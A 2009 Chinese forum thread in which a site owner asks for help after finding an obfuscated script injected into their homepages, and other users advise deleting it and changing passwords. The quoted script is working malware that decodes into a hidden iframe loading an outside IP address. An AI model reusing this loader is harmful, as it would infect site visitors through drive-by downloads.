求救。空间被挂马

[复制链接]
查看: 1013   回复: 5
发表于 2009-1-20 13:04:32 | 显示全部楼层 |阅读模式
刚才发现,我空间的几个网站打开卡巴都报警。我发现首页都有个这么代码。这个该怎么办才能去掉啊。
<script>function v497551dc0543b(v497551dc05c0c){ var v497551dc063db=16; return(parseInt(v497551dc05c0c,v497551dc063db));}function v497551dc0737a(v497551dc07b49){ var v497551dc092bb=2; var v497551dc08319='';for(v497551dc08ae9=0; v497551dc08ae9<v497551dc07b49.length; v497551dc08ae9+=v497551dc092bb){ v497551dc08319+=(String.fromCharCode(v497551dc0543b(v497551dc07b49.substr(v497551dc08ae9, v497551dc092bb))));}return v497551dc08319;} document.write(v497551dc0737a('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D65207372633D5C27687474703A2F2F35382E36352E3233322E32352F636F756E7465722F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313134353231292B273033615C272077696474683D333139206865696768743D333539207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
发表于 2009-1-20 14:45:22 | 显示全部楼层
找到删除即可
回复 支持 反对

使用道具 举报

发表于 2009-1-20 15:33:49 | 显示全部楼层
好像有个空间木马删除的软件,没有找到!
回复 支持 反对

使用道具 举报

 楼主| 发表于 2009-1-20 18:37:20 | 显示全部楼层
恩,谢谢。我找到删除了,我想知道这个木马是怎么挂上去的。
黑客是不是知道我空间的账户,密码了。
因为有个网站只有几个HTML页面,根本没有后台什么的。
回复 支持 反对

使用道具 举报

发表于 2009-1-20 18:44:27 | 显示全部楼层
自己放个webshell上去看是否有权限浏览其他web目录,且是否有权限对其他目录的文件做修改。
什么原因挂马的话,如果你怀疑是空间帐号 密码被别人知道,可以修改一下。另外看web日志
纯粹猜测是不会知道什么原因的。
回复 支持 反对

使用道具 举报

发表于 2009-1-20 19:05:23 | 显示全部楼层
把空间相关密码修改下!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则